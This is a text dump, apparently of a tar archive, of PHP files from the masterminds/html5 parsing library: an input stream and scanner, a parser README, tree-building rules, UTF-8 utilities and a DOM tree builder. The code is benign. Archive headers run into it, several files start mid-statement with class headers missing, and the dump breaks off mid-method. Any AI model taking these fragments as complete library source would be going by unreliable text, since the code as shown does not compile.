0; } /** * Is the current pointer location valid. * * @return bool Whether the current pointer location is valid. */ public function valid() { return $this->char < $this->EOF; } /** * Get all characters until EOF. * * This reads to the end of the file, and sets the read marker at the * end of the file. * * Note this performs bounds checking. * * @return string Returns the remaining text. If called when the InputStream is * already exhausted, it returns an empty string. */ public function remainingChars() { if ($this->char < $this->EOF) { $data = substr($this->data, $this->char); $this->char = $this->EOF; return $data; } return ''; // false; } /** * Read to a particular match (or until $max bytes are consumed). * * This operates on byte sequences, not characters. * * Matches as far as possible until we reach a certain set of bytes * and returns the matched substring. * * @param string $bytes Bytes to match. * @param int $max Maximum number of bytes to scan. * * @return mixed Index or false if no match is found. You should use strong * equality when checking the result, since index could be 0. */ public function charsUntil($bytes, $max = null) { if ($this->char >= $this->EOF) { return false; } if (0 === $max || $max) { $len = strcspn($this->data, $bytes, $this->char, $max); } else { $len = strcspn($this->data, $bytes, $this->char); } $string = (string) substr($this->data, $this->char, $len); $this->char += $len; return $string; } /** * Returns the string so long as $bytes matches. * * Matches as far as possible with a certain set of bytes * and returns the matched substring. * * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the * current char, the pointer advances and the char is part of the * substring. * @param int $max The max number of chars to read. * * @return string */ public function charsWhile($bytes, $max = null) { if ($this->char >= $this->EOF) { return false; } if (0 === $max || $max) { $len = strspn($this->data, $bytes, $this->char, $max); } else { $len = strspn($this->data, $bytes, $this->char); } $string = (string) substr($this->data, $this->char, $len); $this->char += $len; return $string; } /** * Unconsume characters. * * @param int $howMany The number of characters to unconsume. */ public function unconsume($howMany = 1) { if (($this->char - $howMany) >= 0) { $this->char -= $howMany; } } /** * Look ahead without moving cursor. */ public function peek() { if (($this->char + 1) <= $this->EOF) { return $this->data[$this->char + 1]; } return false; } public function key() { return $this->char; } } res/readability/vendor/masterminds/html5/src/HTML5/Parser/README.md000064400000003243147577714370020665 0ustar00# The Parser Model The parser model here follows the model in section [8.2.1](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#parsing) of the HTML5 specification, though we do not assume a networking layer. [ InputStream ] // Generic support for reading input. || [ Scanner ] // Breaks down the stream into characters. || [ Tokenizer ] // Groups characters into syntactic || [ Tree Builder ] // Organizes units into a tree of objects || [ DOM Document ] // The final state of the parsed document. ## InputStream This is an interface with at least two concrete implementations: - StringInputStream: Reads an HTML5 string. - FileInputStream: Reads an HTML5 file. ## Scanner This is a mechanical piece of the parser. ## Tokenizer This follows section 8.4 of the HTML5 spec. It is (roughly) a recursive descent parser. (Though there are plenty of optimizations that are less than purely functional. ## EventHandler and DOMTree EventHandler is the interface for tree builders. Since not all implementations will necessarily build trees, we've chosen a more generic name. The event handler emits tokens during tokenization. The DOMTree is an event handler that builds a DOM tree. The output of the DOMTree builder is a DOMDocument. ## DOMDocument PHP has a DOMDocument class built-in (technically, it's part of libxml.) We use that, thus rendering the output of this process compatible with SimpleXML, QueryPath, and many other XML/HTML processing tools. For cases where the HTML5 is a fragment of a HTML5 document a DOMDocumentFragment is returned instead. This is another built-in class. res/readability/vendor/masterminds/html5/src/HTML5/Parser/TreeBuildingRules.php000064400000006311147577714370023506 0ustar00 1, 'dd' => 1, 'dt' => 1, 'rt' => 1, 'rp' => 1, 'tr' => 1, 'th' => 1, 'td' => 1, 'thead' => 1, 'tfoot' => 1, 'tbody' => 1, 'table' => 1, 'optgroup' => 1, 'option' => 1, ); /** * Returns true if the given tagname has special processing rules. */ public function hasRules($tagname) { return isset(static::$tags[$tagname]); } /** * Evaluate the rule for the current tag name. * * This may modify the existing DOM. * * @return \DOMElement The new Current DOM element. */ public function evaluate($new, $current) { switch ($new->tagName) { case 'li': return $this->handleLI($new, $current); case 'dt': case 'dd': return $this->handleDT($new, $current); case 'rt': case 'rp': return $this->handleRT($new, $current); case 'optgroup': return $this->closeIfCurrentMatches($new, $current, array( 'optgroup', )); case 'option': return $this->closeIfCurrentMatches($new, $current, array( 'option', )); case 'tr': return $this->closeIfCurrentMatches($new, $current, array( 'tr', )); case 'td': case 'th': return $this->closeIfCurrentMatches($new, $current, array( 'th', 'td', )); case 'tbody': case 'thead': case 'tfoot': case 'table': // Spec isn't explicit about this, but it's necessary. return $this->closeIfCurrentMatches($new, $current, array( 'thead', 'tfoot', 'tbody', )); } return $current; } protected function handleLI($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'li', )); } protected function handleDT($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'dt', 'dd', )); } protected function handleRT($ele, $current) { return $this->closeIfCurrentMatches($ele, $current, array( 'rt', 'rp', )); } protected function closeIfCurrentMatches($ele, $current, $match) { if (in_array($current->tagName, $match, true)) { $current->parentNode->appendChild($ele); } else { $current->appendChild($ele); } return $ele; } } res/readability/vendor/masterminds/html5/src/HTML5/Parser/UTF8Utils.php000064400000016533147577714370021674 0ustar00 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ use Masterminds\HTML5\Exception; class UTF8Utils { /** * The Unicode replacement character. */ const FFFD = "\xEF\xBF\xBD"; /** * Count the number of characters in a string. * UTF-8 aware. This will try (in order) iconv, MB, libxml, and finally a custom counter. * * @param string $string * * @return int */ public static function countChars($string) { // Get the length for the string we need. if (function_exists('mb_strlen')) { return mb_strlen($string, 'utf-8'); } if (function_exists('iconv_strlen')) { return iconv_strlen($string, 'utf-8'); } if (function_exists('utf8_decode')) { // MPB: Will this work? Won't certain decodes lead to two chars // extrapolated out of 2-byte chars? return strlen(utf8_decode($string)); } $count = count_chars($string); // 0x80 = 0x7F - 0 + 1 (one added to get inclusive range) // 0x33 = 0xF4 - 0x2C + 1 (one added to get inclusive range) return array_sum(array_slice($count, 0, 0x80)) + array_sum(array_slice($count, 0xC2, 0x33)); } /** * Convert data from the given encoding to UTF-8. * * This has not yet been tested with charactersets other than UTF-8. * It should work with ISO-8859-1/-13 and standard Latin Win charsets. * * @param string $data The data to convert * @param string $encoding A valid encoding. Examples: http://www.php.net/manual/en/mbstring.supported-encodings.php * * @return string */ public static function convertToUTF8($data, $encoding = 'UTF-8') { /* * From the HTML5 spec: Given an encoding, the bytes in the input stream must be converted * to Unicode characters for the tokeniser, as described by the rules for that encoding, * except that the leading U+FEFF BYTE ORDER MARK character, if any, must not be stripped * by the encoding layer (it is stripped by the rule below). Bytes or sequences of bytes * in the original byte stream that could not be converted to Unicode characters must be * converted to U+FFFD REPLACEMENT CHARACTER code points. */ // mb_convert_encoding is chosen over iconv because of a bug. The best // details for the bug are on http://us1.php.net/manual/en/function.iconv.php#108643 // which contains links to the actual but reports as well as work around // details. if (function_exists('mb_convert_encoding')) { // mb library has the following behaviors: // - UTF-16 surrogates result in false. // - Overlongs and outside Plane 16 result in empty strings. // Before we run mb_convert_encoding we need to tell it what to do with // characters it does not know. This could be different than the parent // application executing this library so we store the value, change it // to our needs, and then change it back when we are done. This feels // a little excessive and it would be great if there was a better way. $save = mb_substitute_character(); mb_substitute_character('none'); $data = mb_convert_encoding($data, 'UTF-8', $encoding); mb_substitute_character($save); } // @todo Get iconv running in at least some environments if that is possible. elseif (function_exists('iconv') && 'auto' !== $encoding) { // fprintf(STDOUT, "iconv found\n"); // iconv has the following behaviors: // - Overlong representations are ignored. // - Beyond Plane 16 is replaced with a lower char. // - Incomplete sequences generate a warning. $data = @iconv($encoding, 'UTF-8//IGNORE', $data); } else { throw new Exception('Not implemented, please install mbstring or iconv'); } /* * One leading U+FEFF BYTE ORDER MARK character must be ignored if any are present. */ if ("\xEF\xBB\xBF" === substr($data, 0, 3)) { $data = substr($data, 3); } return $data; } /** * Checks for Unicode code points that are not valid in a document. * * @param string $data A string to analyze * * @return array An array of (string) error messages produced by the scanning */ public static function checkForIllegalCodepoints($data) { // Vestigal error handling. $errors = array(); /* * All U+0000 null characters in the input must be replaced by U+FFFD REPLACEMENT CHARACTERs. * Any occurrences of such characters is a parse error. */ for ($i = 0, $count = substr_count($data, "\0"); $i < $count; ++$i) { $errors[] = 'null-character'; } /* * Any occurrences of any characters in the ranges U+0001 to U+0008, U+000B, U+000E to U+001F, U+007F * to U+009F, U+D800 to U+DFFF , U+FDD0 to U+FDEF, and characters U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, * U+2FFFE, U+2FFFF, U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE, U+6FFFF, U+7FFFE, * U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF, U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, * U+DFFFE, U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, and U+10FFFF are parse errors. * (These are all control characters or permanently undefined Unicode characters.) */ // Check PCRE is loaded. $count = preg_match_all( '/(?: [\x01-\x08\x0B\x0E-\x1F\x7F] # U+0001 to U+0008, U+000B, U+000E to U+001F and U+007F | \xC2[\x80-\x9F] # U+0080 to U+009F | \xED(?:\xA0[\x80-\xFF]|[\xA1-\xBE][\x00-\xFF]|\xBF[\x00-\xBF]) # U+D800 to U+DFFFF | \xEF\xB7[\x90-\xAF] # U+FDD0 to U+FDEF | \xEF\xBF[\xBE\xBF] # U+FFFE and U+FFFF | [\xF0-\xF4][\x8F-\xBF]\xBF[\xBE\xBF] # U+nFFFE and U+nFFFF (1 <= n <= 10_{16}) )/x', $data, $matches); for ($i = 0; $i < $count; ++$i) { $errors[] = 'invalid-codepoint'; } return $errors; } } res/readability/vendor/masterminds/html5/src/HTML5/Parser/InputStream.php000064400000004703147577714370022374 0ustar00errors = UTF8Utils::checkForIllegalCodepoints($data); $data = $this->replaceLinefeeds($data); $this->data = $data; $this->char = 0; $this->EOF = strlen($data); } /** * Check if upcomming chars match the given sequence. * * This will read the stream for the $sequence. If it's * found, this will return true. If not, return false. * Since this unconsumes any chars it reads, the caller * will still need to read the next sequence, even if * this returns true. * * Example: $this->scanner->sequenceMatches('') will * see if the input stream is at the start of a * '' string. * * @param string $sequence * @param bool $caseSensitive * * @return bool */ public function sequenceMatches($sequence, $caseSensitive = true) { $portion = substr($this->data, $this->char, strlen($sequence)); return $caseSensitive ? $portion === $sequence : 0 === strcasecmp($portion, $sequence); } /** * Get the current position. * * @return int The current intiger byte position. */ public function position() { return $this->char; } /** * Take a peek at the next character in the data. * * @return string The next character. */ public function peek() { if (($this->char + 1) <= $this->EOF) { return $this->data[$this->char + 1]; } return false; } /** * Get the next character. * Note: This advances the pointer. * * @return string The next character. */ public function next() { ++$this->char; if ($this->char < $this->EOF) { return $this->data[$this->char]; } return false; } /** * Get the current character. * Note, this does not advance the pointer. * * @return string The current character. */ public function current() { if ($this->char < $this->EOF) { return $this->data[$this->char]; } return false; } /** * Silently consume N chars. * * @param int $count */ public function consume($count = 1) { $this->char += $count; } /** * Unconsume some of the data. * This moves the data pointer backwards. * * @param int $howMany The number of characters to move the pointer back. */ public function unconsume($howMany = 1) { if (($this->char - $howMany) >= 0) { $this->char -= $howMany; } } /** * Get the next group of that contains hex characters. * Note, along with getting the characters the pointer in the data will be * moved as well. * * @return string The next group that is hex characters. */ public function getHex() { return $this->doCharsWhile(static::CHARS_HEX); } /** * Get the next group of characters that are ASCII Alpha characters. * Note, along with getting the characters the pointer in the data will be * moved as well. * * @return string The next group of ASCII alpha characters. */ public function getAsciiAlpha() { return $this->doCharsWhile(static::CHARS_ALPHA); } /** * Get the next group of characters that are ASCII Alpha characters and numbers. * Note, along with getting the characters the pointer in the data will be * moved as well. * * @return string The next group of ASCII alpha characters and numbers. */ public function getAsciiAlphaNum() { return $this->doCharsWhile(static::CHARS_ALNUM); } /** * Get the next group of numbers. * Note, along with getting the characters the pointer in the data will be * moved as well. * * @return string The next group of numbers. */ public function getNumeric() { return $this->doCharsWhile('0123456789'); } /** * Consume whitespace. * Whitespace in HTML5 is: formfeed, tab, newline, space. * * @return int The length of the matched whitespaces. */ public function whitespace() { if ($this->char >= $this->EOF) { return false; } $len = strspn($this->data, "\n\t\f ", $this->char); $this->char += $len; return $len; } /** * Returns the current line that is being consumed. * * @return int The current line number. */ public function currentLine() { if (empty($this->EOF) || 0 === $this->char) { return 1; } // Add one to $this->char because we want the number for the next // byte to be processed. return substr_count($this->data, "\n", 0, min($this->char, $this->EOF)) + 1; } /** * Read chars until something in the mask is encountered. * * @param string $mask * * @return mixed */ public function charsUntil($mask) { return $this->doCharsUntil($mask); } /** * Read chars as long as the mask matches. * * @param string $mask * * @return int */ public function charsWhile($mask) { return $this->doCharsWhile($mask); } /** * Returns the current column of the current line that the tokenizer is at. * * Newlines are column 0. The first char after a newline is column 1. * * @return int The column number. */ public function columnOffset() { // Short circuit for the first char. if (0 === $this->char) { return 0; } // strrpos is weird, and the offset needs to be negative for what we // want (i.e., the last \n before $this->char). This needs to not have // one (to make it point to the next character, the one we want the // position of) added to it because strrpos's behaviour includes the // final offset byte. $backwardFrom = $this->char - 1 - strlen($this->data); $lastLine = strrpos($this->data, "\n", $backwardFrom); // However, for here we want the length up until the next byte to be // processed, so add one to the current byte ($this->char). if (false !== $lastLine) { $findLengthOf = substr($this->data, $lastLine + 1, $this->char - 1 - $lastLine); } else { // After a newline. $findLengthOf = substr($this->data, 0, $this->char); } return UTF8Utils::countChars($findLengthOf); } /** * Get all characters until EOF. * * This consumes characters until the EOF. * * @return int The number of characters remaining. */ public function remainingChars() { if ($this->char < $this->EOF) { $data = substr($this->data, $this->char); $this->char = $this->EOF; return $data; } return ''; // false; } /** * Replace linefeed characters according to the spec. * * @param $data * * @return string */ private function replaceLinefeeds($data) { /* * U+000D CARRIAGE RETURN (CR) characters and U+000A LINE FEED (LF) characters are treated specially. * Any CR characters that are followed by LF characters must be removed, and any CR characters not * followed by LF characters must be converted to LF characters. Thus, newlines in HTML DOMs are * represented by LF characters, and there are never any CR characters in the input to the tokenization * stage. */ $crlfTable = array( "\0" => "\xEF\xBF\xBD", "\r\n" => "\n", "\r" => "\n", ); return strtr($data, $crlfTable); } /** * Read to a particular match (or until $max bytes are consumed). * * This operates on byte sequences, not characters. * * Matches as far as possible until we reach a certain set of bytes * and returns the matched substring. * * @param string $bytes Bytes to match. * @param int $max Maximum number of bytes to scan. * * @return mixed Index or false if no match is found. You should use strong * equality when checking the result, since index could be 0. */ private function doCharsUntil($bytes, $max = null) { if ($this->char >= $this->EOF) { return false; } if (0 === $max || $max) { $len = strcspn($this->data, $bytes, $this->char, $max); } else { $len = strcspn($this->data, $bytes, $this->char); } $string = (string) substr($this->data, $this->char, $len); $this->char += $len; return $string; } /** * Returns the string so long as $bytes matches. * * Matches as far as possible with a certain set of bytes * and returns the matched substring. * * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the * current char, the pointer advances and the char is part of the * substring. * @param int $max The max number of chars to read. * * @return string */ private function doCharsWhile($bytes, $max = null) { if ($this->char >= $this->EOF) { return false; } if (0 === $max || $max) { $len = strspn($this->data, $bytes, $this->char, $max); } else { $len = strspn($this->data, $bytes, $this->char); } $string = (string) substr($this->data, $this->char, $len); $this->char += $len; return $string; } } res/readability/vendor/masterminds/html5/src/HTML5/Parser/EventHandler.php000064400000007134147577714370022501 0ustar00). * * @return int one of the Tokenizer::TEXTMODE_* constants */ public function startTag($name, $attributes = array(), $selfClosing = false); /** * An end-tag. */ public function endTag($name); /** * A comment section (unparsed character data). */ public function comment($cdata); /** * A unit of parsed character data. * * Entities in this text are *already decoded*. */ public function text($cdata); /** * Indicates that the document has been entirely processed. */ public function eof(); /** * Emitted when the parser encounters an error condition. */ public function parseError($msg, $line, $col); /** * A CDATA section. * * @param string $data * The unparsed character data */ public function cdata($data); /** * This is a holdover from the XML spec. * * While user agents don't get PIs, server-side does. * * @param string $name The name of the processor (e.g. 'php'). * @param string $data The unparsed data. */ public function processingInstruction($name, $data = null); } res/readability/vendor/masterminds/html5/src/HTML5/Parser/CharacterReference.php000064400000002773147577714370023641 0ustar00 self::NAMESPACE_HTML, 'svg' => self::NAMESPACE_SVG, 'math' => self::NAMESPACE_MATHML, ); /** * Holds the always available namespaces (which does not require the XMLNS declaration). * * @var array */ protected $implicitNamespaces = array( 'xml' => self::NAMESPACE_XML, 'xmlns' => self::NAMESPACE_XMLNS, 'xlink' => self::NAMESPACE_XLINK, ); /** * Holds a stack of currently active namespaces. * * @var array */ protected $nsStack = array(); /** * Holds the number of namespaces declared by a node. * * @var array */ protected $pushes = array(); /** * Defined in 8.2.5. */ const IM_INITIAL = 0; const IM_BEFORE_HTML = 1; const IM_BEFORE_HEAD = 2; const IM_IN_HEAD = 3; const IM_IN_HEAD_NOSCRIPT = 4; const IM_AFTER_HEAD = 5; const IM_IN_BODY = 6; const IM_TEXT = 7; const IM_IN_TABLE = 8; const IM_IN_TABLE_TEXT = 9; const IM_IN_CAPTION = 10; const IM_IN_COLUMN_GROUP = 11; const IM_IN_TABLE_BODY = 12; const IM_IN_ROW = 13; const IM_IN_CELL = 14; const IM_IN_SELECT = 15; const IM_IN_SELECT_IN_TABLE = 16; const IM_AFTER_BODY = 17; const IM_IN_FRAMESET = 18; const IM_AFTER_FRAMESET = 19; const IM_AFTER_AFTER_BODY = 20; const IM_AFTER_AFTER_FRAMESET = 21; const IM_IN_SVG = 22; const IM_IN_MATHML = 23; protected $options = array(); protected $stack = array(); protected $current; // Pointer in the tag hierarchy. protected $rules; protected $doc; protected $frag; protected $processor; protected $insertMode = 0; /** * Track if we are in an element that allows only inline child nodes. * * @var string|null */ protected $onlyInline; /** * Quirks mode is enabled by default. * Any document that is missing the DT will be considered to be in quirks mode. */ protected $quirks = true; protected $errors = array(); public function __construct($isFragment = false, array $options = array()) { $this->options = $options; if (isset($options[self::OPT_TARGET_DOC])) { $this->doc = $options[self::OPT_TARGET_DOC]; } else { $impl = new \DOMImplementation(); // XXX: // Create the doctype. For now, we are always creating HTML5 // documents, and attempting to up-convert any older DTDs to HTML5. $dt = $impl->createDocumentType('html'); // $this->doc = \DOMImplementation::createDocument(NULL, 'html', $dt); $this->doc = $impl->createDocument(null, '', $dt); $this->doc->encoding = !empty($options['encoding']) ? $options['encoding'] : 'UTF-8'; } $this->errors = array(); $this->current = $this->doc; // ->documentElement; // Create a rules engine for tags. $this->rules = new TreeBuildingRules(); $implicitNS = array(); if (isset($this->options[self::OPT_IMPLICIT_NS])) { $implicitNS = $this->options[self::OPT_IMPLICIT_NS]; } elseif (isset($this->options['implicitNamespaces'])) { $implicitNS = $this->options['implicitNamespaces']; } // Fill $nsStack with the defalut HTML5 namespaces, plus the "implicitNamespaces" array taken form $options array_unshift($this->nsStack, $implicitNS + array('' => self::NAMESPACE_HTML) + $this->implicitNamespaces); if ($isFragment) { $this->insertMode = static::IM_IN_BODY; $this->frag = $this->doc->createDocumentFragment(); $this->current = $this->frag; } } /** * Get the document. */ public function document() { return $this->doc; } /** * Get the DOM fragment for the body. * * This returns a DOMNodeList because a fragment may have zero or more * DOMNodes at its root. * * @see http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#concept-frag-parse-context * * @return \DOMDocumentFragment */ public function fragment() { return $this->frag; } /** * Provide an instruction processor. * * This is used for handling Processor Instructions as they are * inserted. If omitted, PI's are inserted directly into the DOM tree. * * @param InstructionProcessor $proc */ public function setInstructionProcessor(InstructionProcessor $proc) { $this->processor = $proc; } public function doctype($name, $idType = 0, $id = null, $quirks = false) { // This is used solely for setting quirks mode. Currently we don't // try to preserve the inbound DT. We convert it to HTML5. $this->quirks = $quirks; if ($this->insertMode > static::IM_INITIAL) { $this->parseError('Illegal placement of DOCTYPE tag. Ignoring: ' . $name); return; } $this->insertMode = static::IM_BEFORE_HTML; } /** * Process the start tag. * * @todo - XMLNS namespace handling (we need to parse, even if it's not valid) * - XLink, MathML and SVG namespace handling * - Omission rules: 8.1.2.4 Optional tags * * @param string $name * @param array $attributes * @param bool $selfClosing * * @return int */ public function startTag($name, $attributes = array(), $selfClosing = false) { $lname = $this->normalizeTagName($name); // Make sure we have an html element. if (!$this->doc->documentElement && 'html' !== $name && !$this->frag) { $this->startTag('html'); } // Set quirks mode if we're at IM_INITIAL with no doctype. if ($this->insertMode === static::IM_INITIAL) { $this->quirks = true; $this->parseError('No DOCTYPE specified.'); } // SPECIAL TAG HANDLING: // Spec says do this, and "don't ask." // find the spec where this is defined... looks problematic if ('image' === $name && !($this->insertMode === static::IM_IN_SVG || $this->insertMode === static::IM_IN_MATHML)) { $name = 'img'; } // Autoclose p tags where appropriate. if ($this->insertMode >= static::IM_IN_BODY && Elements::isA($name, Elements::AUTOCLOSE_P)) { $this->autoclose('p'); } // Set insert mode: switch ($name) { case 'html': $this->insertMode = static::IM_BEFORE_HEAD; break; case 'head': if ($this->insertMode > static::IM_BEFORE_HEAD) { $this->parseError('Unexpected head tag outside of head context.'); } else { $this->insertMode = static::IM_IN_HEAD; } break; case 'body': $this->insertMode = static::IM_IN_BODY; break; case 'svg': $this->insertMode = static::IM_IN_SVG; break; case 'math': $this->insertMode = static::IM_IN_MATHML; break; case 'noscript': if ($this->insertMode === static::IM_IN_HEAD) { $this->insertMode = static::IM_IN_HEAD_NOSCRIPT; } break; } // Special case handling for SVG. if ($this->insertMode === static::IM_IN_SVG) { $lname = Elements::normalizeSvgElement($lname); } $pushes = 0; // when we found a tag thats appears inside $nsRoots, we have to switch the defalut namespace if (isset($this->nsRoots[$lname]) && $this->nsStack[0][''] !== $this->nsRoots[$lname]) { array_unshift($this->nsStack, array( '' => $this->nsRoots[$lname], ) + $this->nsStack[0]); ++$pushes; } $needsWorkaround = false; if (isset($this->options['xmlNamespaces']) && $this->options['xmlNamespaces']) { // when xmlNamespaces is true a and we found a 'xmlns' or 'xmlns:*' attribute, we should add a new item to the $nsStack foreach ($attributes as $aName => $aVal) { if ('xmlns' === $aName) { $needsWorkaround = $aVal; array_unshift($this->nsStack, array( '' => $aVal, ) + $this->nsStack[0]); ++$pushes; } elseif ('xmlns' === (($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : '')) { array_unshift($this->nsStack, array( substr($aName, $pos + 1) => $aVal, ) + $this->nsStack[0]); ++$pushes; } } } if ($this->onlyInline && Elements::isA($lname, Elements::BLOCK_TAG)) { $this->autoclose($this->onlyInline); $this->onlyInline = null; } try { $prefix = ($pos = strpos($lname, ':')) ? substr($lname, 0, $pos) : ''; if (false !== $needsWorkaround) { $xml = "<$lname xmlns=\"$needsWorkaround\" " . (strlen($prefix) && isset($this->nsStack[0][$prefix]) ? ("xmlns:$prefix=\"" . $this->nsStack[0][$prefix] . '"') : '') . '/>'; $frag = new \DOMDocument('1.0', 'UTF-8'); $frag->loadXML($xml); $ele = $this->doc->importNode($frag->documentElement, true); } else { if (!isset($this->nsStack[0][$prefix]) || ('' === $prefix && isset($this->options[self::OPT_DISABLE_HTML_NS]) && $this->options[self::OPT_DISABLE_HTML_NS])) { $ele = $this->doc->createElement($lname); } else { $ele = $this->doc->createElementNS($this->nsStack[0][$prefix], $lname); } } } catch (\DOMException $e) { $this->parseError("Illegal tag name: <$lname>. Replaced with ."); $ele = $this->doc->createElement('invalid'); } if (Elements::isA($lname, Elements::BLOCK_ONLY_INLINE)) { $this->onlyInline = $lname; } // When we add some namespacess, we have to track them. Later, when "endElement" is invoked, we have to remove them. // When we are on a void tag, we do not need to care about namesapce nesting. if ($pushes > 0 && !Elements::isA($name, Elements::VOID_TAG)) { // PHP tends to free the memory used by DOM, // to avoid spl_object_hash collisions whe have to avoid garbage collection of $ele storing it into $pushes // see https://bugs.php.net/bug.php?id=67459 $this->pushes[spl_object_hash($ele)] = array($pushes, $ele); } foreach ($attributes as $aName => $aVal) { // xmlns attributes can't be set if ('xmlns' === $aName) { continue; } if ($this->insertMode === static::IM_IN_SVG) { $aName = Elements::normalizeSvgAttribute($aName); } elseif ($this->insertMode === static::IM_IN_MATHML) { $aName = Elements::normalizeMathMlAttribute($aName); } $aVal = (string) $aVal; try { $prefix = ($pos = strpos($aName, ':')) ? substr($aName, 0, $pos) : false; if ('xmlns' === $prefix) { $ele->setAttributeNS(self::NAMESPACE_XMLNS, $aName, $aVal); } elseif (false !== $prefix && isset($this->nsStack[0][$prefix])) { $ele->setAttributeNS($this->nsStack[0][$prefix], $aName, $aVal); } else { $ele->setAttribute($aName, $aVal); } } catch (\DOMException $e) { $this->parseError("Illegal attribute name for tag $name. Ignoring: $aName"); continue; } // This is necessary on a non-DTD schema, like HTML5. if ('id' === $aName) { $ele->setIdAttribute('id', true); } } if ($this->frag !== $this->current && $this->rules->hasRules($name)) { // Some elements have special processing rules. Handle those separately. $this->current = $this->rules->evaluate($ele, $this->current); } else { // Otherwise, it's a standard element. $this->current->appendChild($ele); if (!Elements::isA($name, Elements::VOID_TAG)) { $this->current = $ele; } // Self-closing tags should only be respected on foreign elements // (and are implied on void elements) // See: https://www.w3.org/TR/html5/syntax.html#start-tags if (Elements::isHtml5Element($name)) { $selfClosing = false; } } // This is sort of a last-ditch attempt to correct for cases where no head/body // elements are provided. if ($this->insertMode <= static::IM_BEFORE_HEAD && 'head' !== $name && 'html' !== $name) { $this->insertMode = static::IM_IN_BODY; } // When we are on a void tag, we do not need to care about namesapce nesting, // but we have to remove the namespaces pushed to $nsStack. if ($pushes > 0 && Elements::isA($name, Elements::VOID_TAG)) { // remove the namespaced definded by current node for ($i = 0; $i < $pushes; ++$i) { array_shift($this->nsStack); } } if ($selfClosing) { $this->endTag($name); } // Return the element mask, which the tokenizer can then use to set // various processing rules. return Elements::element($name); } public function endTag($name) { $lname = $this->normalizeTagName($name); // Special case within 12.2.6.4.7: An end tag whose tag name is "br" should be treated as an opening tag if ('br' === $name) { $this->parseError('Closing tag encountered for void element br.'); $this->startTag('br'); } // Ignore closing tags for other unary elements. elseif (Elements::isA($name, Elements::VOID_TAG)) { return; } if ($this->insertMode <= static::IM_BEFORE_HTML) { // 8.2.5.4.2 if (in_array($name, array( 'html', 'br', 'head', 'title', ))) { $this->startTag('html'); $this->endTag($name); $this->insertMode = static::IM_BEFORE_HEAD; return; } // Ignore the tag. $this->parseError('Illegal closing tag at global scope.'); return; } // Special case handling for SVG. if ($this->insertMode === static::IM_IN_SVG) { $lname = Elements::normalizeSvgElement($lname); } $cid = spl_object_hash($this->current); // XXX: HTML has no parent. What do we do, though, // if this element appears in the wrong place? if ('html' === $lname) { return; } // remove the namespaced definded by current node if (isset($this->pushes[$cid])) { for ($i = 0; $i < $this->pushes[$cid][0]; ++$i) { array_shift($this->nsStack); } unset($this->pushes[$cid]); } if (!$this->autoclose($lname)) { $this->parseError('Could not find closing tag for ' . $lname); } switch ($lname) { case 'head': $this->insertMode = static::IM_AFTER_HEAD; break; case 'body': $this->insertMode = static::IM_AFTER_BODY; break; case 'svg': case 'mathml': $this->insertMode = static::IM_IN_BODY; break; } } public function comment($cdata) { // TODO: Need to handle case where comment appears outside of the HTML tag. $node = $this->doc->createComment($cdata); $this->current->appendChild($node); } public function text($data) { // XXX: Hmmm.... should we really be this strict? if ($this->insertMode < static::IM_IN_HEAD) { // Per '8.2.5.4.3 The "before head" insertion mode' the characters // " \t\n\r\f" should be ignored but no mention of a parse error. This is // practical as most documents contain these characters. Other text is not // expected here so recording a parse error is necessary. $dataTmp = trim($data, " \t\n\r\f"); if (!empty($dataTmp)) { // fprintf(STDOUT, "Unexpected insert mode: %d", $this->insertMode); $this->parseError('Unexpected text. Ignoring: ' . $dataTmp); } return; } // fprintf(STDOUT, "Appending text %s.", $data); $node = $this->doc->createTextNode($data); $this->current->appendChild($node); } public function eof() { // If the $current isn't the $root, do we need to do anything? } public function parseError($msg, $line = 0, $col = 0) { $this->errors[] = sprintf('Line %d, Col %d: %s', $line, $col, $msg); } public function getErrors() { return $this->errors; } public function cdata($data) { $node = $this->doc->createCDATASection($data); $this->current->appendChild($node); } public function processingInstruction($name, $data = null) { // XXX: Ignore initial XML declaration, per the spec. if ($this->insertMode === static::IM_INITIAL && 'xml' === strtolower($name)) { return; } // Important: The processor may modify the current DOM tree however it sees fit. if ($this->processor instanceof InstructionProcessor) { $res = $this->processor->process($this->current, $name, $data); if (!empty($res)) { $this->current = $res; } return; } // Otherwise, this is just a dumb PI element. $node = $this->doc->createProcessingInstruction($name, $data); $this->current->appendChild($node); } // ========================================================================== // UTILITIES // ========================================================================== /** * Apply normalization rules to a tag name. * See sections 2.9 and 8.1.2. * * @param string $tagName * * @return string The normalized tag name. */ protected function normalizeTagName($tagName) { /* * Section 2.9 suggests that we should not do this. if (strpos($name, ':') !== false) { // We know from the grammar that there must be at least one other // char besides :, since : is not a legal tag start. $parts = explode(':', $name); return array_pop($parts); } */ return $tagName; } protected function quirksTreeResolver($name) { throw new \Exception('Not implemented.'); } /** * Automatically climb the tree and close the closest node with the matching $tag. * * @param string $tagName * * @return bool */ protected function autoclose($tagName) { $working = $this->current; do { if (XML_ELEMENT_NODE !== $working->nodeType) { return false; } if ($working->tagName === 